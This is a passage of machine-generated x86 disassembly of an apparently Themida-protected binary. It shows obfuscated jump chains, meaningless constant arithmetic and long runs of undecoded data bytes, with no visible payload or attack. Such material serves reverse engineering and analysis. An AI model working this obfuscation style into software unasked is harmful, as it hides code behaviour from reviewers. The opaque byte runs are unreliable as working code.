		dd 7D41CE81h, 0BD55285Bh, 10244320h, 0F75DEE21h, 5F681D6h
		dd 1E68C8Fh, 0B2A8E9F5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E44A:				; CODE XREF: Themida_:0055F233j
		mov	ebp, 1B81CFDEh
		add	edx, ebp
		jmp	loc_5538F0
; ---------------------------------------------------------------------------
		dw 0F66h
		dd 776800B6h, 89000011h, 0EC81243Ch, 4,	24048F54h, 4240481h
		dd 8B000000h, 0C481243Ch, 4, 4C781h, 0F9680000h, 0E900003Eh
		dd 0FFFFCA60h, 3B85C281h, 0B1E9F7BFh
		db 7Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E497:				; CODE XREF: Themida_:00564A09j
		sub	esi, 3E325D47h
		add	esi, eax
		add	esi, 3E325D47h
		sub	esi, 403643ECh
		sub	esi, 63610382h
		jmp	loc_55AFC8
; ---------------------------------------------------------------------------
		dw 0C789h
		dd 0FFC37FE9h, 405FFh, 4050000h, 0E9000000h, 5E89h, 4A97C581h
		dd 5F5B3BE1h, 2D5DE829h, 7C2A001Fh, 57E2BF57h, 0E947097Ah
		dd 0FFFFCA21h, 4246C01h, 19D6E9h, 24248900h, 4240483h
		dd 0FF61ACE9h, 24048BFFh, 81E28952h, 4C2h, 4C28100h, 87000000h
		dd 6AE92414h
		db 0E9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E517:				; CODE XREF: Themida_:0055AD4Aj
		push	0C78h
		mov	[esp], eax
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_558B03
; ---------------------------------------------------------------------------
		dw 4B9h
		dd 8116A552h, 0FFFFFFE9h, 0F18149FFh, 14F9119Dh, 8159CE21h
		dd 0EC7D39F6h, 0D261E925h, 0EE88FFFFh, 0D0C68059h, 84D0E9h
		dd 17E95500h
		db 90h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E563:				; CODE XREF: Themida_:0055CD5Dj
		push	6D5A2F1Fh
		pop	ecx
		sub	ecx, 6D5A2B23h
		jmp	loc_5674B3
; ---------------------------------------------------------------------------
aZsai		db 'Zéai',0
		align 2
		dw 8956h
		dd 4C681E6h, 52000000h,	7E3C87BAh, 0C1DAF727h, 0E3E908E2h
		db 4Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E593:				; CODE XREF: Themida_:00563E32j
		sub	ecx, 786A3F7Eh
		push	4F0Ah
		mov	[esp], eax
		mov	eax, 1EE83CFFh
		sub	ecx, eax
		pop	eax
		jmp	loc_565FB5
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 52A468F0h, 538E959h,	895C0000h, 6F682404h, 89000016h
		dd 4832424h, 34FF0424h,	24048B24h, 81E78957h, 4C7h, 4C78100h
		dd 87000000h, 505C243Ch, 2434FF54h, 1AE95558h, 81FFFF92h
		dd 4C2h, 0E1895100h, 4C181h, 0B8E90000h, 89000015h, 45AE9FBh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E60A:				; CODE XREF: Themida_:005653B9j
		not	ecx
		add	ecx, 0A3B48E97h
		jmp	loc_565D63
; ---------------------------------------------------------------------------
		db 0BFh
		dd 0D0E9844Bh, 6AE9FA31h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55E623:				; CODE XREF: Themida_:005583EDj
		mov	edi, 4
		jmp	loc_564118
; ---------------------------------------------------------------------------
		db 1, 0E8h, 8Bh
		dd 0DEE9242Ch, 29FFFFDCh, 148B5FF9h, 4C48124h, 0E9000000h
		dd 4CE1h, 2904C483h, 426859CEh,	89000064h, 1EBE2434h, 0C14ED803h
		dd 0D68707EEh, 242C8752h, 33E9D5F7h
		db 83h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E66B:				; CODE XREF: Themida_:0056109Dj
		push	ecx
		mov	cl, 0DFh
		neg	cl
		xor	cl, 9
		add	cl, 0DAh
		xor	dl, cl
		pop	ecx
		add	bl, dl
		mov	edx, [esp]
		jmp	loc_55695F
; ---------------------------------------------------------------------------
		db 81h
		dd 1004246Ch, 0E93B1729h, 0FFFFADC8h
; ---------------------------------------------------------------------------


loc_55E690:				; CODE XREF: Themida_:0055A2CFj
		mov	edi, 60E91819h
		sub	edi, 60E91815h
		add	ebx, 3CB5FA6h
		add	ebx, 470B2750h
		add	ebx, edi
		jmp	loc_564F58
; ---------------------------------------------------------------------------


loc_55E6AE:				; CODE XREF: Themida_:00558B0Bj
		shl	edx, 1
		push	edx
		mov	edx, 52617AF9h
		add	edx, 141E7BDAh
		push	ecx
		jmp	loc_555FE0
; ---------------------------------------------------------------------------
		dw 0BEh
		dd 29000000h, 0F4D0E9CEh, 48FFFFFh, 1C895C24h, 81E38924h
		dd 4C3h, 7DB95100h, 4927C03Bh, 0FFDDCFE9h, 405FFh, 6E90000h
		db 8Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E6F3:				; CODE XREF: Themida_:00553FB1j
		mov	[esp], cx
		sub	esp, 4
		mov	[esp], eax
		mov	al, 0A3h
		jmp	loc_566DA5
; ---------------------------------------------------------------------------
		dd 7F685356h, 89000027h, 88BA2414h, 816C4367h, 0EB01CFE2h
		dd 70EA8116h, 89BDEDC6h, 0E9535AD3h, 0FFFFCCBAh, 71A1E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E72E:				; CODE XREF: Themida_:005678DBj
		dec	ebp
		sub	ebp, 2BC2453Ah
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		dec	edx
		dec	edx
		sub	edx, 180F0264h
		push	esi
		sub	esp, 4
		jmp	loc_558E3E
; ---------------------------------------------------------------------------
		dd 6C4EF781h, 0C58121BDh, 3D395F17h, 0EC83FD01h, 241C8904h
		dd 0B60077BBh, 7DE94362h
		db 85h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E773:				; CODE XREF: Themida_:00557B34j
		mov	[esp], esi
		push	0BD7h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		jmp	loc_560E18
; ---------------------------------------------------------------------------
		db 5Fh,	89h, 0D1h
		dd 8BCA015Ah, 0C481240Ch, 4, 0BF7C281h,	5CE91390h, 56000083h
		dd 0E951E689h, 0FFFF7344h, 5AD6315Dh, 348BF309h, 4C48124h
		dd 81000000h, 0BF1739CBh, 29EB8173h, 14ACFACh, 7C08E9D8h
		dd 34FFFFFFh, 24048B24h, 0E904C483h, 0FFFFA2AFh, 196394BBh
		dd 5E3C14Fh, 817BE956h,	525E0000h, 0C719F9BAh, 7E2C125h
		dd 8104E2C1h, 0D39B5CAh, 4FC2812Fh, 29C03006h, 515AE9D3h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E80E:				; CODE XREF: Themida_:0055B667j
		sub	ebx, edi
		pop	edi
		pop	edi
		sub	ebx, 4
		jmp	loc_557B2E
; ---------------------------------------------------------------------------


loc_55E81A:				; CODE XREF: Themida_:0055486Cj
		pop	ebx
		sub	al, ch
		pop	ecx
		jmp	loc_565C1A
; ---------------------------------------------------------------------------
		db 89h
		dd 8B542434h, 0EC812434h, 4, 89243C89h,	52E7E9E7h, 48BEFFFFh
		dd 0E9287C64h, 0FFFFD199h, 0FA79C581h, 0E8894F86h, 0E957555Dh
		dd 18C9h, 0F705E3C1h, 0EC61E9DBh, 5559FFFFh, 40685D54h
		dd 0E9000015h, 0FFFFAB33h, 81DEF759h, 765BBAEEh, 5EF20112h
		dd 815AD131h, 0EF64A4E9h, 8E9C11Dh, 7676E981h, 0F1810908h
		dd 0B6775321h, 8904EC83h, 96BE2434h, 0F778D575h, 0BFEE81D6h
		dd 1C890EAh, 30E95EF1h
		db 15h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55E8AB:				; CODE XREF: Themida_:0055E386j
		pop	ebx
		sub	edx, ebp
		pop	ebp
		jmp	loc_552C38
; ---------------------------------------------------------------------------
		dd 405E089h, 5000000h, 4, 31240433h, 4332404h, 24248B24h
		dd 515AD331h, 0C181E189h, 4, 8704E983h,	895C240Ch, 2CE92404h
		dd 0F6000087h, 0AF780D7h, 0B4E9F800h, 87FFFFECh, 0F75C2414h
		dd 0E1C7E9DAh, 35E9FFFFh, 0B9FFFF43h, 6D5B2BE6h, 6F38C281h
		dd 0CA2901ACh, 5F65B951h, 0D1F777CCh, 0E1C1D9F7h, 38F18107h
		dd 29E783DCh, 15959CAh,	86D0E9F2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55E92E:				; CODE XREF: Themida_:005627F1j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5657F3
; ---------------------------------------------------------------------------
		db 4Bh
		dd 73FBBA52h, 0EAC13DA9h, 2046E908h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55E94E:				; CODE XREF: Themida_:00564A17j
		sub	esp, 4
		push	esp
		pop	dword ptr [esp]
		jmp	loc_555015
; ---------------------------------------------------------------------------
		dw 0ED83h
		dd 242C8704h, 240C895Ch, 240C8B54h, 8104C483h, 4C1h, 1BB85000h
		dd 0D400902h, 4F054DE7h, 0D0F7D8F7h, 0BD6F5C05h, 4424054Bh
		dd 740D6F6Ah, 0E9765B24h, 0FFFF7996h, 0FF429FE9h, 243C8BFFh
		dd 8104C483h, 5B4E59E2h, 9EF2814Bh, 8114DF54h, 0CC56CBF2h
		dd 8BB9511Fh, 0E943E208h, 6773h, 45BD988h, 2CC800C3h, 0C38859C3h
		dd 3EB16858h, 4890000h,	0CDB424h, 0EB8058E3h, 81E3D001h
		dd 4ECh, 24148900h, 0EB8059B2h,	0E9D300CAh, 0FFFFBC81h
; ---------------------------------------------------------------------------


loc_55E9F0:				; CODE XREF: Themida_:0055FF37j
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_563CC6
; ---------------------------------------------------------------------------


loc_55E9FF:				; CODE XREF: Themida_:00563165j
		pop	esi
		shl	edx, 7
		and	edx, 1C305325h
		add	edx, 1A0A0402h
		jmp	loc_5641CA
; ---------------------------------------------------------------------------
		dd 490CE981h, 875E601Ch, 835C240Ch, 3C8904ECh, 1BD36824h
		dd 8F540000h, 4812404h,	424h, 0A4E95F00h, 51000011h, 729D4B9h
		dd 0E9CE29EAh, 762Fh, 5C240C87h, 0AEEE9h, 1C895C00h, 7C7E6824h
		dd 0F75B4A00h, 0E95155D3h, 0FFFF76C3h, 0BF57565Fh, 1F027EC1h
		dd 0A387C781h, 0FE89F548h, 8222E95Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EA7A:				; CODE XREF: Themida_:0055484Fj
		add	ecx, 4
		push	4BA5h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	ecx
		push	1249h
		jmp	loc_564F69
; ---------------------------------------------------------------------------
		dw 0C14Ah
		dd 835108EAh, 3C8904ECh, 64BD5524h, 0BF24BE7Ch,	0AD3B5976h
		dd 0FFDD84E9h, 4C481FFh, 33000000h, 3C31243Ch, 243C3324h
		dd 8924248Bh, 0EC832424h, 5FE8E904h, 0E95FFFFFh, 40C8h
		dd 525052ACh, 0F68072B6h, 5AF4888Ch, 88E18851h,	4F17E9CAh
		dd 1C87FFFFh, 0B89AE924h, 8B66FFFFh, 0CEE92404h, 81FFFFB1h
		dd 0F950B8C7h, 81D70127h, 0F950B8EFh, 0CF815A27h, 3C297605h
		dd 0E7C1D7F7h, 7EBD5507h, 4540B73Ah, 5584BB53h,	0DD092872h
		dd 71E9565Bh, 89FFFF6Ah, 21E9241Ch, 5CFFFFDDh, 0FF5B01E9h
		dd 64F480FFh, 0F480C4FEh, 58E630CAh, 88F58851h,	2E959EFh
		dd 81FFFF83h, 0F20E51E6h, 7DECE942h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EB62:				; CODE XREF: Themida_:0055B53Ej
		pop	ecx
		push	eax
		jmp	loc_553D60
; ---------------------------------------------------------------------------
		db 89h,	0DAh, 8Bh
		dd 0C481241Ch, 4, 0FF60B0E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EB79:				; CODE XREF: Themida_:0056434Aj
		mov	[esp], edx
		jmp	loc_559558
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 8
		dd 4535CA29h, 0B5E9D5F7h, 28FFFF79h, 0B75352F9h, 40B6FBh
		dd 0F1005BFEh, 2434FF5Ah, 4C4835Bh, 0FF9899E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55EBA9:				; CODE XREF: Themida_:00555938j
		xor	esi, 4CC94708h
		sub	ebx, esi
		pop	esi
		jmp	loc_563A9D
; ---------------------------------------------------------------------------
		db 0BBh
		dd 5018733Bh, 5B5BD829h, 8904EC83h, 0CC682434h,	8B7A79D4h
		dd 0F0682434h, 89000056h, 0E389241Ch, 1753E9h, 5F00100h
		dd 2C307354h, 275AE9h, 289CB000h, 805866C3h, 96E903C3h
		db 48h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EBF7:				; CODE XREF: Themida_:00564878j
		xor	ebx, 507B0B9Ah
		jmp	loc_5592BE
; ---------------------------------------------------------------------------
		dw 5A54h
		dd 4C281h, 0C2830000h, 24148704h, 0F7D1F75Ch, 92E952D9h
		dd 66FFFFDBh, 5724048Bh, 0EC83E789h, 242C8904h,	4BDh, 8BEF0100h
		dd 0C481242Ch, 4, 4EF81h, 3C870000h, 34895C24h,	348B5424h
		dd 4C48124h, 57000000h,	0BE56E789h, 263E79B6h, 0F681D6F7h
		dd 343364B5h, 5D3DE9h, 24148700h, 0E9E6E95Ch, 8958FFFFh
		dd 241C8BDFh, 8104C483h, 272633F7h, 8BFE0118h, 0EC83243Ch
		dd 0C747E904h, 0C33FFFFh, 97E95C24h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55EC93:				; CODE XREF: Themida_:00558861j
		sub	esi, ebp
		pop	ebp
		and	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_567B6A
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 51242C89h, 0C181E189h, 4,	73ACE9h, 875C8800h, 34FF5B01h
		dd 70685924h, 89000042h, 0E2892414h, 0FFCF56E9h, 242C89FFh
		dd 48CA68h, 24248900h, 4240481h, 8B000000h, 0C483242Ch
		dd 4EAD6804h, 0C890000h, 4A43B924h, 0E1C10A76h,	3E1C102h
		dd 485CE981h, 0CD014EC9h, 0E9240C8Bh, 5810h, 0E2815892h
		dd 7750464Eh, 0FFD837E9h, 0DA8852FFh, 0E9D58851h, 0FFFF4E7Eh
		dd 8B24048Fh, 0C80F2424h, 124668h, 24048900h, 0FF3EFBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55ED3D:				; CODE XREF: Themida_:00566D57j
		push	13CBh
		mov	[esp], edi
		jmp	loc_5647AB
; ---------------------------------------------------------------------------
		dw 8966h
		dd 29665DE9h, 665966CEh, 2005665Fh, 0F001665Bh,	0FFE797E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55ED61:				; CODE XREF: Themida_:0055F733j
		pop	ebx
		jmp	loc_553758
; ---------------------------------------------------------------------------
		db 29h
		dd 0FEE95AD0h
		db 5, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55ED6F:				; CODE XREF: Themida_:0055E33Cj
		add	esp, 4
		push	ebx
		push	203E519Eh
		mov	ebx, [esp]
		add	esp, 4
		add	ebx, 2CF1AF7h
		jmp	loc_55F66F
; ---------------------------------------------------------------------------
		dd 4C481h, 6D680000h, 8900006Ah, 4BBB241Ch, 10A0642h, 241C8BDAh
		dd 8104C483h, 155C82EAh, 81CA015Fh, 155C82C2h, 0B3BF575Fh
		dd 57764C47h, 0E92414F7h, 0FFFFBA15h, 0D106E6C1h, 130D68EEh
		dd 1C890000h, 542FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55EDD6:				; CODE XREF: Themida_:0055CADBj
		pop	ax
		add	bl, 0C9h
		jmp	loc_5653E3
; ---------------------------------------------------------------------------
aSusu2		db 'SUéî2',0
		dw 8300h
		dd 148904ECh, 4A2EBA24h, 81423402h, 9676B8E2h, 4B684A30h
		dd 89000001h, 21BE2434h, 0E9673A28h, 58D5h, 582434FFh
		dd 904EE9h, 0EDC15E00h,	0E2B85003h, 0F751B739h,	4D0425D8h
		dd 0E52D0074h, 57782C05h, 3BF0E9h, 240C8B00h, 4C481h, 68510000h
		dd 37Fh, 0FB7E9h, 5DE28100h, 0D14F975Ah, 0C4E957E2h, 89FFFFF7h
		dd 4BD242Ch, 81000000h,	8129AC2h, 81EA0170h, 8129AEAh
		dd 0BE95D70h, 8100008Fh, 4ECh, 24148900h, 4BAh,	5AD50100h
		dd 2474FF55h, 345DE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55EE8A:				; CODE XREF: Themida_:00554087j
		xor	eax, [esp]
		xor	[esp], eax
		push	eax
		push	edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		push	edx
		push	edi
		jmp	loc_557147
; ---------------------------------------------------------------------------
		db 33h,	14h, 24h
		dd 3124248Bh, 0E99C2404h, 0FFFF3D80h, 24048B66h, 56CB68h
		dd 24048900h, 510AE9h
		db 0
; ---------------------------------------------------------------------------


loc_55EEC9:				; CODE XREF: Themida_:00565F05j
		mov	ecx, 312C3A4Eh
		add	ecx, 0FFFFFFFFh
		shr	ecx, 6
		neg	ecx
		shr	ecx, 7
		jmp	loc_5590BB
; ---------------------------------------------------------------------------
		db 1, 2	dup(0E9h)
		dd 0FFFFCC1Bh
; ---------------------------------------------------------------------------


loc_55EEE8:				; CODE XREF: Themida_:0055649Bj
		xor	esi, 6E8551D3h
		jmp	loc_55DF23
; ---------------------------------------------------------------------------
		db 0BDh
		dd 25433962h, 30DE9h
		db 0
; ---------------------------------------------------------------------------


loc_55EEFD:				; CODE XREF: Themida_:0055A70Dj
		push	ecx
		mov	ecx, 7B5B6C02h
		not	ecx
		push	esi
		mov	esi, 0
		sub	esi, 77D62B8h
		sub	esi, ecx
		jmp	loc_561F4F
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 9C2404D3h, 0FF3D13E9h, 68D2F7FFh,	545h, 51242C89h
		dd 60896852h, 0E95A49B3h, 0FFFF9712h, 68h, 243C2900h, 6E7C15Fh
		dd 39EAEF81h, 8157A986h, 93242Ch, 0EAE92A6Fh
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55EF5B:				; CODE XREF: Themida_:00562CF9j
		mov	edx, ebx
		pop	ebx
		add	edx, 608A67A1h
		jmp	loc_55AD4F
; ---------------------------------------------------------------------------
		db 0ACh, 30h, 0D8h
		dd 5E08950h, 4,	42Dh, 24048700h, 243C895Ch, 68CC68h, 24248900h
		dd 4240481h, 0E9000000h, 0FFFFADA9h, 92BE565Dh,	9791352h
		dd 0FE73E9F5h, 248BFFFFh, 4B95124h, 0E9000000h,	0FFFFB5CFh
		dd 5C24048Fh, 50242C89h, 405E089h, 83000000h, 43304E8h
		dd 24043124h, 5C240433h, 0E9241C89h, 8B47h, 0D9CBA52h
		dd 0BE566891h, 2DFD5451h, 6FB7EE81h, 0DEF74EF5h, 0FF5049E9h
		dd 3E1C1FFh, 4583BF57h,	0E7C11C10h, 4EFC105h, 20ACC781h
		dd 0E8E950FFh, 81000012h, 0ED231BCAh, 0EA814A23h, 0D53A8E38h
		dd 0FFDD49E9h, 34335FFFh, 61B4E924h, 0C3810000h, 323D2CE5h
		dd 6AD0E9h, 0C5815A00h,	6EDA18E9h, 2651C581h, 0EB29A1BAh
		dd 4EC815Dh, 89000000h,	0EAE9240Ch
		db 94h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F04B:				; CODE XREF: Themida_:005640C5j
		mov	ebx, 616D60AAh
		shr	ebx, 4
		sub	ebx, 7F0439Eh
		sub	ebx, 4D734036h
		jmp	loc_561377
; ---------------------------------------------------------------------------
		dd 0F6C18141h, 811DF0F7h, 6C2355EBh, 81CB016Ch,	6C2355C3h
		dd 0FB01596Ch, 3BEB81h,	0C3813A12h, 3B054D01h, 4EC815Fh
		dd 89000000h, 74FF241Ch, 8F5B0424h, 0D25C2404h,	0E99C2404h
		dd 0FFFF3B94h, 5F93685Dh, 0C890000h, 4BA5224h, 89000000h
		dd 0C3815AD1h, 52A468F0h, 0EBE9CB01h, 8BFFFFF4h, 0C483240Ch
		dd 48C7E904h, 0D6010000h, 8324148Bh, 348704C4h,	24248B24h
		dd 0B60FC330h, 5DF9E9C0h, 0C483FFFFh, 1DEFE904h, 0E9550000h
		dd 0FFFFCC10h
; ---------------------------------------------------------------------------


loc_55F0F4:				; CODE XREF: Themida_:00561D08j
		pop	edx
		jmp	loc_564CD2
; ---------------------------------------------------------------------------


loc_55F0FA:				; CODE XREF: Themida_:0056356Aj
		xor	ebx, 5F6233D6h
		sub	ebx, 7FDB1183h
		add	ebx, 2A26CD0Eh
		sub	ebp, ebx
		pop	ebx
		add	ebp, ebx
		add	ebp, 181706F2h
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_555141
; ---------------------------------------------------------------------------
		dd 245C2959h, 34FF5B04h, 0C4835824h, 0F5D2E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F132:				; CODE XREF: Themida_:005566B5j
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_567F40
; ---------------------------------------------------------------------------
		db 29h
		dd 54C381F3h, 5E5ED231h, 1E4DEF81h, 0DF297348h,	3A9EE9h
		db 0
; ---------------------------------------------------------------------------


loc_55F161:				; CODE XREF: Themida_:0055ACD9j
		mov	[esp], edx
		mov	edx, 2201DB1h
		or	edx, 7DBC70B3h
		jmp	loc_5570E9
; ---------------------------------------------------------------------------
		dd 77C181h, 0E981398Bh,	5AC3701Eh, 0FFD837E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55F185:				; CODE XREF: Themida_:0055C5C6j
		xchg	ecx, [esp]
		pop	esp
		add	edx, 32754996h
		add	edx, ebp
		sub	edx, 32754996h
		pop	ebp
		jmp	loc_55BC3C
; ---------------------------------------------------------------------------


loc_55F19D:				; CODE XREF: Themida_:0055F368j
		pop	ecx
		sub	esp, 4
		mov	[esp], edi
		push	ecx
		mov	edi, [esp]
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		add	esp, 4
		push	edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 4
		jmp	loc_5611F8
; ---------------------------------------------------------------------------
		db 89h
		dd 0B0E9240Ch, 0F7FFFF69h, 0BF5746D6h, 0FFFFFFFFh, 815FFE29h
		dd 0D03FCCCEh, 384DE97Bh, 0CD810000h, 1AA7382Bh, 5DC568h
		dd 5DD0E900h, 1EB80000h, 0C131120Ah, 8DE904E0h,	81000058h
		dd 0CA175FEAh, 83FFE96Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F232:				; CODE XREF: Themida_:0055B33Bj
		push	ebp
		jmp	loc_55E44A
; ---------------------------------------------------------------------------
		dd 2E5C159h, 0F581D5F7h, 65B06DCh, 60F5814Dh, 0E94E3BCCh
		dd 8C3Bh
; ---------------------------------------------------------------------------


loc_55F250:				; CODE XREF: Themida_:005543E0j
		and	bh, 92h
		sub	bh, 1
		sub	bh, 83h
		jmp	loc_5564C3
; ---------------------------------------------------------------------------
		dw 3D05h
		dd 2D327C18h, 244906F9h, 8324348Bh, 0E36804C4h,	89000023h
		dd 8EB9240Ch, 0E951DA73h, 0FFFFA31Fh
; ---------------------------------------------------------------------------


loc_55F280:				; CODE XREF: Themida_:0055ADB8j
		push	ebx
		push	36A3h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		push	edi
		jmp	loc_556F58
; ---------------------------------------------------------------------------
		dd 7906EE81h, 0D6011B97h, 7906C681h, 0C6811B97h, 2B846026h
		dd 4EC835Ah, 81241C89h,	4ECh, 242C8900h, 268h, 673AE900h
		dd 0E7890000h, 4C781h, 0C7830000h, 243C8704h, 5224248Bh
		dd 6A2CE954h, 0F229FFFFh, 2434FF5Eh, 4C4835Eh, 0FFD7D2E9h
		dd 0BD555BFFh, 327A7A92h, 0FF5491E9h, 1C77FFFFh, 6659669Dh
		dd 9C2414D3h, 0FF3933E9h, 242C89FFh, 0CD33B3BDh, 4EC812Ah
		dd 89000000h, 0E989240Ch, 0C8BCB89h, 4C48324h, 5D2434FFh
		dd 4C481h, 6CE90000h, 8900003Ah, 4EC81E1h, 89000000h, 4BB241Ch
		dd 52000000h, 0F9123ABAh, 5AD10175h, 61BEBE56h,	0EE813817h
		dd 69205A1Ch, 0CE81D6F7h, 57436389h, 0E906EEC1h, 0FFFF9FCAh
; ---------------------------------------------------------------------------


loc_55F364:				; CODE XREF: Themida_:0055C486j
		push	ecx
		not	dword ptr [esp]
		jmp	loc_55F19D
; ---------------------------------------------------------------------------
		db 5Dh,	87h, 4
		dd 4215C24h, 9DE99C24h,	0FFFFFFADh, 5A042474h, 0FF9FBFE9h
		dd 1B2D68FFh, 0EAE90000h
		db 89h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F38F:				; CODE XREF: Themida_:00553753j
		mov	[esp], edx
		mov	dh, 7Ah
		inc	dh
		sub	dh, 0E7h
		jmp	loc_55AEB6
; ---------------------------------------------------------------------------
		dw 159h
		dd 0DF8E9EAh, 815E0000h, 4C6h, 4BF5700h, 29000000h, 0FF565FFEh
		dd 5E042474h, 5C24048Fh, 50243C89h, 468h, 24048B00h, 4C481h
		dd 0E9500000h, 0FFFFC065h, 272A4D68h, 0E789E903h, 685DFFFFh
		dd 0B8Eh, 0FF243489h, 34FF2434h, 0E95F24h, 89FFFF74h, 0BA522404h
		dd 45D17053h, 45B2CA81h, 0BF573E5Fh, 50383688h,	47DFF747h
		dd 3544E9h, 240C8900h, 0C181E189h, 4, 0FF7312E9h, 15B951FFh
		dd 0B85BB67Ch, 69BDDA84h, 559C829h, 6DFE0532h, 2958C501h
		dd 242C8BEFh, 4C481h, 834F0000h, 0F79701EFh, 515097D0h
		dd 0E45400B9h, 59C88970h, 8158C731h, 0B35354CFh, 0E25DE942h
		dd 0E981FFFFh, 0BCFBD245h, 4EDEE9h, 397D2D00h, 0EB815E47h
		dd 546A558Fh, 0C381C329h, 546A558Fh, 0FF6BC4E9h, 66EC08FFh
		dd 7E4C059h, 2EC81h, 53E90000h,	0F7FFFFDBh, 0F5EA81DAh
		dd 5339DFECh, 0A5E95B54h, 8FFFFF9Dh, 248B2404h,	24042924h
		dd 377EE99Ch, 0E789FFFFh, 4C781h, 39680000h, 8900004Dh
		dd 4BA2414h, 29000000h,	3C335AD7h, 243C3124h, 0E9243C33h
		dd 0FFFF7177h, 0FED0B353h, 31F380CBh, 0FFB1A8E9h, 4EA81FFh
		dd 87000000h, 895C2414h, 4682414h, 0FF000000h, 835A2434h
		dd 590504C4h, 29601264h, 64592DD0h, 148B6012h, 0E875E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55F51A:				; CODE XREF: Themida_:005622B4j
		mov	ebp, 3A0071E4h
		add	eax, 0A2E7279h
		sub	eax, ebp
		jmp	loc_56001E
; ---------------------------------------------------------------------------


loc_55F52B:				; CODE XREF: Themida_:0055B7EDj
		pop	ecx
		mov	edi, edx
		pop	edx
		add	edi, 0F901A07Bh
		xor	eax, edi
		pop	edi
		mov	ebx, eax
		jmp	loc_5638C1
; ---------------------------------------------------------------------------
		db 56h
		dd 7CAC6853h, 4B5B4677h, 1D40E381h, 0D3F76E43h,	41C9E381h
		dd 0EB8102DBh, 0CA6D2489h, 0FFA257E9h, 2434FFFFh, 5724148Bh
		dd 0C781E789h, 4, 4C781h, 3C870000h, 0E9505C24h, 1FBFh
		dd 815DEA01h, 4ECh, 242C8900h, 520FB951h, 0CD8956B0h, 0FFFE05E9h
		dd 20478FFFh, 7B204781h, 0FF216C19h, 0E95A2434h, 3173h
		dd 242C895Ch, 39B168h, 2799E900h, 0EA810000h, 2FF3502Dh
		dd 0BF57F229h, 2FF3502Dh, 5E5FFA01h, 11FFC281h,	0FA0128A5h
		dd 11FFB951h, 0CA2928A5h, 2EB9E959h, 0B9510000h, 1B0E47C1h
		dd 0B841C181h, 0CF01E4F1h, 2A3EE9h, 0EBBA5200h,	5768913Dh
		dd 0FFE008E9h, 0E4BF57FFh, 81184656h, 637561CFh, 0FFC78115h
		dd 8154DF7Ch, 53BFB4EFh, 8BFB8928h, 0C483243Ch,	6EBC104h
		dd 8108EBC1h, 4ECh, 240C8900h, 6B226855h, 4890000h, 51A3B824h
		dd 2B0D15B2h, 0E92A4A0Bh, 26C5h, 8124048Bh, 4C4h, 58E95600h
		dd 81FFFFB6h, 4C1h, 89DFE900h, 0CB010000h, 7D36EB81h, 0A3E97391h
		db 87h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55F66F:				; CODE XREF: Themida_:0055ED87j
		sub	ebp, 1B373315h
		sub	ebp, ebx
		add	ebp, 1B373315h
		pop	ebx
		shl	ebp, 8
		shr	ebp, 7
		jmp	loc_55517C
; ---------------------------------------------------------------------------
		db 0ADh, 53h, 0BBh
		dd 2CF33DBFh, 748BC381h, 0B8500A54h, 78347BF0h,	0E958C309h
		dd 25A9h, 148BD101h, 4C48124h, 51000000h, 42474FFh, 24048F59h
